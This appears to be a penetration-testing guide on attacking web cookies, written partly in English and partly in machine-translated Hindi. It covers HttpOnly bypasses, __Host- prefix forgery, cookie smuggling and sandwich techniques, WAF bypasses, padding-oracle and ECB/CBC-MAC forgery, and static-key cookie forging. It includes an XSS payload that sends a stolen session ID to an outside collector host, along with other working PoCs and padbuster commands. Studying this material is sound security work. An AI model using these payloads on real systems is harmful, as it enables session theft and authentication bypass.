Cookies Hacking

Reading time: 24 minutes

Cookie Attributes

Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:

Expires and Max-Age

The expiry date of a cookie is determined by the Expires attribute. Conversely, the Max-age attribute defines the time in seconds until a cookie is deleted. Opt for Max-age as it reflects more modern practices.

Domain

The hosts to receive a cookie are specified by the Domain attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the Domain attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the Domain attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting Domain=mozilla.org makes cookies accessible on its subdomains like developer.mozilla.org.

Path

A specific URL path that must be present in the requested URL for the Cookie header to be sent is indicated by the Path attribute. This attribute considers the / character as a directory separator, allowing for matches in subdirectories as well.

Ordering Rules

When two cookies bear the same name, the one chosen for sending is based on:

• The cookie matching the longest path in the requested URL.
• The most recently set cookie if the paths are identical.

SameSite

• The SameSite attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
• Strict: Restricts the cookie from being sent on third-party requests.
• Lax: Allows the cookie to be sent with GET requests initiated by third-party websites.
• None: Permits the cookie to be sent from any third-party domain.

Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notice that temporary, after applying this change, the cookies without a SameSite policy in Chrome will be treated as None during the first 2 minutes and then as Lax for top-level cross-site POST request.

Cookies Flags

HttpOnly

This avoids the client to access the cookie (Via Javascript for example: document.cookie)

Bypasses

• If the page is sending the cookies as the response of a requests (for example in a PHPinfo page), it's possible to abuse the XSS to send a request to this page and steal the cookies from the response (check an example in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• This could be Bypassed with TRACE HTTP requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called Cross-Site Tracking.
• This technique is avoided by modern browsers by not permitting sending a TRACE request from JS. However, some bypasses to this have been found in specific software like sending \r\nTRACE instead of TRACE to IE6.0 SP2.
• Another way is the exploitation of zero/day vulnerabilities of the browsers.
• It's possible to overwrite HttpOnly cookies by performing a Cookie Jar overflow attack:

Cookie Jar Overflow

• It's possible to use Cookie Smuggling attack to exfiltrate these cookies
• If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

यह अनुरोध केवल उस स्थिति में HTTP अनुरोध में cookie भेजेगा यदि अनुरोध एक सुरक्षित चैनल (आम तौर पर HTTPS) के माध्यम से प्रेषित किया गया हो।

Cookies Prefixes

Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.

For cookies prefixed with __Host-, several conditions must be met:

• इन्हें secure flag के साथ सेट किया जाना चाहिए।
• इनका स्रोत HTTPS द्वारा सुरक्षित पृष्ठ होना चाहिए।
• इन्हें domain specify करने की अनुमति नहीं है, जिससे इन्हें subdomains पर ट्रांसमिट होने से रोका जाता है।
• इन cookies का path / पर सेट होना चाहिए।

It is important to note that cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the __Host- prefix for all application cookies can be considered a good practice for enhancing security and isolation.

Overwriting cookies

तो, __Host- से prefixed cookies की सुरक्षा में से एक यह है कि इन्हें subdomains से overwrite होने से रोका जा सके। Preventing for example Cookie Tossing attacks. In the talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) it's presented that it was possible to set __HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:

Or in PHP it was possible to add other characters at the beginning of the cookie name that were going to be replaced by underscore characters, allowing to overwrite __HOST- cookies:

Unicode whitespace cookie-name smuggling (prefix forgery)

ब्राउज़र और सर्वर के parsing के बीच के अंतर का दुरुपयोग करते हुए cookie नाम के आगे एक Unicode whitespace code point prepend किया जाता है। ब्राउज़र उस नाम को वास्तविक रूप में __Host-/__Secure- से शुरू नहीं मानता, इसलिए यह subdomain से सेट करने की अनुमति देता है। यदि backend cookie keys पर अग्रणी Unicode whitespace को trim/normalize करता है, तो वह सुरक्षित नाम देखेगा और उच्च-privilege cookie को overwrite कर सकता है।

• PoC from a subdomain that can set parent-domain cookies:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• समस्या को सक्षम करने वाले सामान्य बैकेंड व्यवहार:

• कुकी कुंजियों को ट्रिम/नॉर्मलाइज़ करने वाले फ़्रेमवर्क। In Django, Python’s str.strip() Unicode whitespace कोड पॉइंट्स की एक विस्तृत रेंज हटा देता/निकाल देता है, जिससे नाम सामान्यीकृत होकर __Host-name बन जाता है।

• सामान्यतः ट्रिम किए जाने वाले कोड पॉइंट्स में शामिल हैं: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288)।

• बहुत से फ़्रेमवर्क duplicate cookie names को “last wins” के रूप में सुलझाते हैं, इसलिए attacker-controlled सामान्यीकृत cookie value वैध वाले को ओवरराइट कर देता है।

• ब्राउज़र के अंतर मायने रखते हैं:

• Safari multibyte Unicode whitespace को cookie नामों में ब्लॉक करता है (उदा., U+2000 को reject करता है) लेकिन अभी भी single-byte U+0085 और U+00A0 की अनुमति देता है, जिन्हें कई बैकएंड ट्रिम करते हैं। अलग-अलग ब्राउज़रों में क्रॉस-टेस्ट करें।

• Impact: कम-विश्वसनीय संदर्भों (subdomains) से __Host-/__Secure- कुकीज़ को ओवरराइट करने में सक्षम बनता है, जिससे XSS (यदि reflected), CSRF token override, और session fixation हो सकता है।

• On-the-wire बनाम server view का उदाहरण (U+2000 नाम में मौजूद):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Many backends split/parse and then trim, resulting in the normalized __Host-name taking the attacker’s value.

पुराना $Version=1 cookie splitting on Java backends (prefix bypass)

कुछ Java stacks (उदा., Tomcat/Jetty-style) तब भी legacy RFC 2109/2965 parsing सक्षम रखते हैं जब Cookie header $Version=1 से शुरू होता है। इससे सर्वर एक ही cookie string को कई logical cookies के रूप में पुनर्व्याख्यायित कर सकता है और एक forged __Host- entry स्वीकार कर सकता है जिसे मूल रूप से किसी subdomain से या यहाँ तक कि असुरक्षित origin से सेट किया गया था।

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Why it works:

• क्लाइंट-साइड prefix जांच सेट के दौरान लागू होती है, लेकिन सर्वर-साइड की लेगसी पार्सिंग बाद में हेडर को स्प्लिट और सामान्यीकृत कर देती है, जिससे __Host-/__Secure- prefix की गारंटी का इरादा बायपास हो जाता है।

• Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.

Duplicate-name last-wins overwrite primitive

जब दो cookies एक समान नाम पर normalize होते हैं, कई backends (including Django) अंतिम occurrence का उपयोग करते हैं। smuggling/legacy-splitting के बाद जब दो __Host-* नाम बनते हैं, तो सामान्यतः attacker-controlled वाला जीत जाता है।

Detection and tooling

इन शर्तों के लिए जांच करने के लिए Burp Suite का उपयोग करें:

• कई leading Unicode whitespace code points आज़माएँ: U+2000, U+0085, U+00A0 और देखें कि क्या backend उन्हें trim करके नाम को prefixed के रूप में मानता है।
• Cookie header में पहले $Version=1 भेजें और जांचें कि क्या backend legacy splitting/normalization करता है।
• दो cookies इंजेक्ट करके जो एक ही नाम पर normalize होते हैं, duplicate-name resolution (first vs last wins) का निरीक्षण करें।
• इसे automate करने के लिए Burp Custom Action: CookiePrefixBypass.bambda

Tip: ये techniques RFC 6265 की octet-vs-string गैप का फायदा उठाती हैं: browsers बाइट्स भेजते हैं; servers उन्हें decode करते हैं और संभवतः normalize/trim कर देते हैं। decoding और normalization में मेल न खाना bypass का मूल कारण है।

Cookies Attacks

यदि किसी custom cookie में संवेदनशील डेटा है तो उसे जांचें (खासकर यदि आप CTF खेल रहे हैं), क्योंकि यह कमजोर हो सकता है।

Decoding and Manipulating Cookies

Cookies में एम्बेड संवेदनशील डेटा हमेशा जाँचा जाना चाहिए। Base64 या समान फॉर्मैट में encode किए गए cookies अक्सर डिकोड किए जा सकते हैं। यह vulnerability attackers को cookie की सामग्री बदलने और अपनी बदली हुई जानकारी को फिर से encode करके अन्य users की नकल करने की अनुमति देता है।

Session Hijacking

यह हमला एक उपयोगकर्ता की cookie चोरी करके उनके application अकाउंट तक अनधिकृत पहुँच प्राप्त करने से संबंधित है। चोरी की हुई cookie का उपयोग करके, attacker वैध user की नकल कर सकता है।

Session Fixation

इस परिदृश्य में, attacker पीड़ित को बहकाकर एक विशिष्ट cookie के साथ लॉगिन कराता है। यदि application लॉगिन पर नई cookie जारी नहीं करता, तो attacker जिसके पास मूल cookie है, पीड़ित की नकल कर सकता है। यह तकनीक इस बात पर निर्भर करती है कि पीड़ित attacker द्वारा दी गई cookie के साथ लॉगिन करे।

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

यहाँ attacker पीड़ित को अपने session cookie का उपयोग करने के लिए मनाता है। पीड़ित, यह सोचकर कि वे अपने ही अकाउंट में लॉग इन हैं, अनजाने में attacker के अकाउंट के संदर्भ में क्रियाएँ करेंगे।

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.

Cross-Site Request Forgery (CSRF)

यह हमला एक लॉग-इन उपयोगकर्ता को उस web application पर अनचाहे कार्य करने के लिए मजबूर करता है जिसमें वे वर्तमान में authenticated हैं। Attackers ऐसे cookies का शोषण कर सकते हैं जो हर request के साथ स्वचालित रूप से vulnerable साइट पर भेजी जाती हैं।

Empty Cookies

(Check further details in theoriginal research) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

भेजे गए cookie header में परिणाम a=v1; test value; b=v2; है। रोचक रूप से, यदि एक खाली नाम वाला cookie सेट किया जाए तो यह cookies में हेरफेर की अनुमति देता है, और खाली cookie को किसी विशिष्ट मान पर सेट करके संभावित रूप से अन्य cookies को नियंत्रित किया जा सकता है:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

इसका परिणाम यह होता है कि ब्राउज़र एक cookie header भेजता है, जिसे हर वेब सर्वर a नाम के cookie और मान b के रूप में व्याख्यायित करता है।

Chrome बग: Unicode Surrogate Codepoint समस्या

Chrome में, यदि कोई Unicode surrogate codepoint किसी set cookie का हिस्सा हो, तो document.cookie भ्रष्ट हो जाता है और बाद में एक खाली स्ट्रिंग लौटाता है:

document.cookie = "\ud800=meep"

इसका परिणाम यह होता है कि document.cookie एक खाली string आउटपुट करता है, जो स्थायी corruption का संकेत देता है।

Cookie Smuggling (Parsing समस्याओं के कारण)

(अधिक विवरण के लिए original research) कई web servers, जिनमें Java (Jetty, TomCat, Undertow) और Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) के सर्वर शामिल हैं, पुराने RFC2965 सपोर्ट के कारण cookie strings को गलत तरीके से हैंडल करते हैं। वे double-quoted cookie value को एक single value के रूप में पढ़ लेते हैं, भले ही उसमें semicolons शामिल हों, जो सामान्यतः key-value pairs को अलग करते हैं:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(अधिक जानकारी के लिए देखें original research) Servers द्वारा cookies की गलत parsing, विशेषकर Undertow, Zope, और उन सर्वरों में जो Python के http.cookie.SimpleCookie और http.cookie.BaseCookie का उपयोग करते हैं, cookie injection attacks के अवसर पैदा करती है। ये सर्वर नए cookies की शुरुआत को ठीक से सीमित (delimit) नहीं कर पाते, जिससे attackers cookies spoof कर सकते हैं:

• Undertow अपेक्षा करता है कि quoted value के तुरंत बाद नया cookie बिना semicolon के होगा।
• Zope अगला cookie parse शुरू करने के लिए comma ढूँढता है।
• Python की cookie classes space character पर parsing शुरू कर देती हैं।

यह vulnerability उन web applications के लिए खासतौर पर ख़तरनाक है जो cookie-based CSRF protection पर निर्भर करते हैं, क्योंकि इससे attackers spoofed CSRF-token cookies inject कर सकते हैं और संभावित रूप से security measures bypass कर सकते हैं। यह समस्या Python के duplicate cookie names के handling से और बढ़ जाती है, जहाँ अंतिम occurrence पहले वाले को override कर देता है। यह insecure contexts में __Secure- और __Host- cookies के बारे में भी चिंताएँ उठाता है और तब authorization bypasses हो सकते हैं जब cookies ऐसे back-end servers को भेजे जाते हैं जो spoofing के प्रति संवेदनशील हों।

Cookies $version

WAF Bypass

this blogpost के अनुसार, यह संभव हो सकता है कि cookie attribute $Version=1 का उपयोग करके backend को RFC2109 के कारण cookie को parse करने के लिए पुरानी logic इस्तेमाल करने पर मजबूर किया जाए। इसके अलावा, अन्य values जैसे $Domain और $Path का उपयोग backend के व्यवहार को cookie के साथ बदलने के लिए किया जा सकता है।

Cookie Sandwich Attack

this blogpost के अनुसार cookie sandwich technique का उपयोग करके HttpOnly cookies चोरी किए जा सकते हैं। आवश्यकताएँ और कदम इस प्रकार हैं:

• ऐसी जगह खोजें जहाँ एक स्पष्ट रूप से बेकार cookie response में परावर्तित होता है
• $Version नाम का cookie बनाएं जिसकी value 1 हो (आप यह XSS attack के जरिए JS से कर सकते हैं) और इसे अधिक specific path दें ताकि यह initial position प्राप्त कर ले (कुछ frameworks जैसे python में यह कदम आवश्यक नहीं होता)
• जिस cookie को परावर्तित किया जा रहा है उसे बनाएं उसकी value ऐसी रखें कि वह एक खुली double quotes छोड़े और specific path दें ताकि वह cookie db में पिछले एक ($Version) के बाद स्थित हो
• फिर legit cookie क्रम में अगली होगी
• एक dummy cookie बनाएं जो अपनी value के अंदर double quotes को बंद कर दे

इस तरह victim cookie नए cookie version 1 के अंदर फँस जाती है और जब भी वह परावर्तित होती है यह reflected होगी। e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

पिछले अनुभाग को देखें।

Bypassing value analysis with quoted-string encoding

यह parsing cookies के अंदर escaped मानों को unescape करने का संकेत देता है, इसलिए "\a" becomes "a". यह WAFS को बायपास करने के लिए उपयोगी हो सकता है जैसे:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

RFC2109 में यह बताया गया है कि comma can be used as a separator between cookie values. और यह भी संभव है कि equal sign के पहले और बाद में spaces and tabs before an after the equal sign जोड़े जाएँ। इसलिए एक cookie जैसे $Version=1; foo=bar, abc = qux उस cookie को नहीं बनाता "foo":"bar, admin = qux" बल्कि cookies foo":"bar" और "admin":"qux" बनाते हैं। ध्यान दें कि कैसे 2 cookies जनरेट होते हैं और कैसे admin के पहले और बाद के space हट गए।

Bypassing value analysis with cookie splitting

अंत में अलग-अलग backdoors एक string में अलग-अलग cookies को जोड़ देंगे जो अलग-अलग cookie headers में पास किए गए हैं, जैसे:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

जो इस उदाहरण की तरह किसी WAF को बायपास करने की अनुमति दे सकता है:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

अतिरिक्त कमजोर cookie जाँच

बुनियादी जांच

• cookie हर बार जब आप login करते हैं तो वही रहती है।
• Log out करें और उसी cookie का उपयोग करने की कोशिश करें।
• एक ही खाते में उसी cookie का उपयोग करके 2 डिवाइस (या ब्राउज़र) से log in करने की कोशिश करें।
• जाँचें कि cookie में कोई जानकारी है या नहीं और उसे संशोधित करने की कोशिश करें।
• लगभग एक जैसे username वाले कई accounts बनाने की कोशिश करें और देखें क्या आप समानताएँ देख पाते हैं।
• यदि मौजूद हो तो "remember me" विकल्प देखें कि यह कैसे काम करता है। अगर यह मौजूद है और कमजोर हो सकता है, तो हमेशा किसी भी अन्य cookie के बिना केवल remember me की cookie का ही उपयोग करें।
• जाँचें कि क्या पिछली cookie पासवर्ड बदलने के बाद भी काम करती है।

उन्नत cookies हमले

यदि cookie वही रहती है (या लगभग वही) जब आप log in करते हैं, तो इसका मतलब यह हो सकता है कि cookie आपके खाते के किसी field से संबंधित है (संभावतः username)। तब आप कर सकते हैं:

• बहुत सारे accounts बनाकर कोशिश करें जिनके usernames बहुत समान हों और अनुमान लगाने की कोशिश करें कि algorithm कैसे काम कर रहा है।
• Try to bruteforce the username. अगर cookie केवल आपके username के authentication method के रूप में सेव हो रही है, तो आप username "Bmin" के साथ एक account बना सकते हैं और अपनी cookie के हर एक bit को bruteforce कर सकते हैं क्योंकि जिन cookies को आप आजमाएँगे उनमें से एक का सम्बन्ध "admin" से होगा।
• Try Padding Oracle (आप cookie की सामग्री को decrypt कर सकते हैं)। Use padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster कई प्रयास करेगा और आपसे पूछेगा कि कौन-सी स्थिति त्रुटि की स्थिति है (वह जो मान्य नहीं है)।

फिर यह cookie को decrypting करना शुरू कर देगा (यह कुछ मिनट ले सकता है)।

यदि attack सफलतापूर्वक किया गया है, तो आप अपनी पसंद की स्ट्रिंग encrypt करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि आप encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

यह execution आपको cookie देगी जो सही तरीके से encrypted और encoded है और जिसमें string user=administrator मौजूद है।

CBC-MAC

शायद कोई cookie किसी value के साथ आ सकती है और उसे CBC का उपयोग करके signed किया गया हो। तब उस value की integrity वही signature होती है जो उसी value को CBC से process करके बनाई जाती है। क्योंकि आमतौर पर IV के रूप में एक null vector इस्तेमाल करने की सिफारिश की जाती है, इस प्रकार की integrity जाँच कमज़ोर हो सकती है।

The attack

1. username administ = t का signature प्राप्त करें
2. username rator\x00\x00\x00 XOR t = t' का signature प्राप्त करें
3. cookie में value administrator+t' सेट करें (t' एक valid signature होगा of (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00

ECB

अगर cookie को ECB का उपयोग करके encrypt किया गया है तो यह vulnerable हो सकता है।
जब आप log in करते हैं तो जो cookie आपको मिलता है वह हमेशा वही होना चाहिए।

How to detect and attack:

• लगभग एक जैसा data (username, password, email, आदि) वाले 2 users बनाएं और दिए गए cookie के अंदर किसी pattern को खोजने की कोशिश करें
• उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का user बनाएं और cookie में कोई pattern है या नहीं चेक करें (क्योंकि ECB हर block को उसी key से encrypt करता है, अगर username encrypt है तो वही encrypted bytes बार-बार दिख सकते हैं)
• एक pattern होना चाहिए (block के size के अनुसार)। तो, यह जानकर कि कई "a" कैसे encrypt होते हैं आप एक username बना सकते हैं: "a"*(size of the block)+"admin"। फिर आप cookie से एक block के "a" के encrypted pattern को हटा सकते हैं। और आपके पास username "admin" का cookie होगा।

Static-key cookie forgery (symmetric encryption of predictable IDs)

कुछ applications authentication cookies बनाती हैं केवल एक predictable value (उदा., the numeric user ID) को एक global, hard-coded symmetric key के तहत encrypt करके, और फिर ciphertext को encode (hex/base64) करके। अगर key product-स्तर पर (या install-स्तर पर) static है, तो कोई भी offline arbitrary users के लिए cookies forge कर सकता है और authentication bypass कर सकता है।

How to test/forge

• उन cookie(s) की पहचान करें जो authentication gate करती हैं, जैसे COOKIEID और ADMINCOOKIEID।
• cipher/encoding निर्धारित करें। एक real-world case में app ने IDEA का उपयोग किया constant 16-byte key के साथ और ciphertext को hex में वापस किया।
• अपने खुद के user ID को encrypt करके और जारी की गई cookie के साथ तुलना करके verify करें। अगर यह match करता है, तो आप किसी भी target ID के लिए cookies mint कर सकते हैं (1 अक्सर पहले admin को map करता है)।
• forged value को सीधे cookie के रूप में सेट करें और browse करें; कोई credentials ज़रूरी नहीं हैं।

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

संदर्भ

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda